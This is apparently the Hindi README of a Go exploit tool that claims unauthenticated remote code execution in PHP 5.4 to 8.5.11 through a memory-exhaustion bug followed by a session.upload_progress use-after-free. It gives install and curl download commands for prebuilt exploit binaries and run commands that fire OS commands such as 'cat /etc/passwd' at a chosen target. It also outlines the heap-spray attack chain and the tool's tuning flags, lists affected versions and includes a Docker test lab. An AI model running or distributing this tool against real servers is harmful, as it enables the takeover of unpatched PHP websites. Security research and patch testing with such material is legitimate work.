
[PHP2Shell] CVE-2026-109618 / CVE-2026-109619 के लिए Golang एक्सप्लॉइट: OOM करप्शन + session.upload_progress UAF के माध्यम से PHP 5.4–8.5.11 में अनऑथेंटिकेटेड RCE
PHP 5.4.0 – 8.5.11 (सभी वेब सर्वर) में अनधिकृत रिमोट कोड एक्ज़ीक्यूशन।
CVSS 9.2 क्रिटिकल · पैच 2026-10-21 · CISA KEV 2026-10-26
केवल अधिकृत सुरक्षा परीक्षण के लिए — उन सिस्टम पर जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
go install (सबसे तेज़, Go 1.22+ आवश्यक)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
Go इंस्टॉल नहीं है? इसे 30 सेकंड में इंस्टॉल करें:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
पूर्व-निर्मित बाइनरी प्रत्येक GitHub Release के साथ संलग्न हैं।
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
जब भी नया टैग पुश किया जाता है, GitHub Actions द्वारा बाइनरीज़ स्वचालित रूप से बनाई जाती हैं।
यदिcurlएक छोटी फ़ाइल लौटाता है जिसमें "Not found" लिखा हो, तो अभी तक कोई रिलीज़ मौजूद नहीं है — इसके बजाय विकल्प A का उपयोग करें।
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
PHP में दो गंभीर मेमोरी-सुरक्षा बग हैं जो तैयार किए गए multipart/form-data HTTP POST अनुरोधों से ट्रिगर होते हैं:
| CVE | प्रकार | ट्रिगर |
|---|---|---|
| CVE-2026-109618 | मेमोरी करप्शन (OOM) | बड़े multipart फ़ील्ड पार्सिंग के दौरान memory_limit को समाप्त कर देते हैं, आंशिक रूप से आरंभिक स्थिति पर longjmp() सक्रिय होता है |
| CVE-2026-109619 | Use-after-free | PHP_SESSION_UPLOAD_PROGRESS फ़ील्ड किसी पिछले अनुरोध से मुक्त किए गए worker मेमोरी को पढ़ता है |
किसी भी बग के लिए लॉगिन, किसी विशेष endpoint, या किसी एप्लिकेशन कोड की आवश्यकता नहीं है — ये किसी भी .php स्क्रिप्ट के चलने से पहले PHP इंजन के अंदर सक्रिय होते हैं।
पूर्ण तकनीकी विवरण के लिए, एनोटेटेड HTTP अनुरोधों सहित, docs/vulnerability.md देखें।
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
-target | आवश्यक | बेस URL, जैसे http://192.168.1.10 |
-path | /index.php | PHP एंडपॉइंट पथ |
-cmd | id | निष्पादित करने के लिए OS कमांड |
-mode | auto | auto / modphp / fpm |
-workers | 8 | स्प्रे करने के लिए वर्कर स्लॉट |
-oom-parts | 30 | चरण 1 में मल्टीपार्ट फ़ील्ड |
-part-size | 204800 | प्रति फ़ील्ड बाइट्स (200 KB) |
-spray-size | 131072 | हीप स्प्रे आकार (128 KB) |
-timeout | 15s | प्रति-अनुरोध टाइमआउट |
-verbose | false | कच्चा प्रतिक्रिया बॉडी प्रिंट करें |
-leak-only | false | केवल मेमोरी लीक (ASLR विश्लेषण) |
| शाखा | अंतिम असुरक्षित | में ठीक किया गया |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | सभी | कोई अपस्ट्रीम पैच नहीं — डिस्ट्रो बैकपोर्ट का उपयोग करें |
sandbox/ निर्देशिका में एक तैयार असुरक्षित लक्ष्य (PHP 8.4.26 + Apache mod_php) डिफ़ॉल्ट सेटिंग्स के साथ है जो दोनों CVE को उजागर करता है।
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only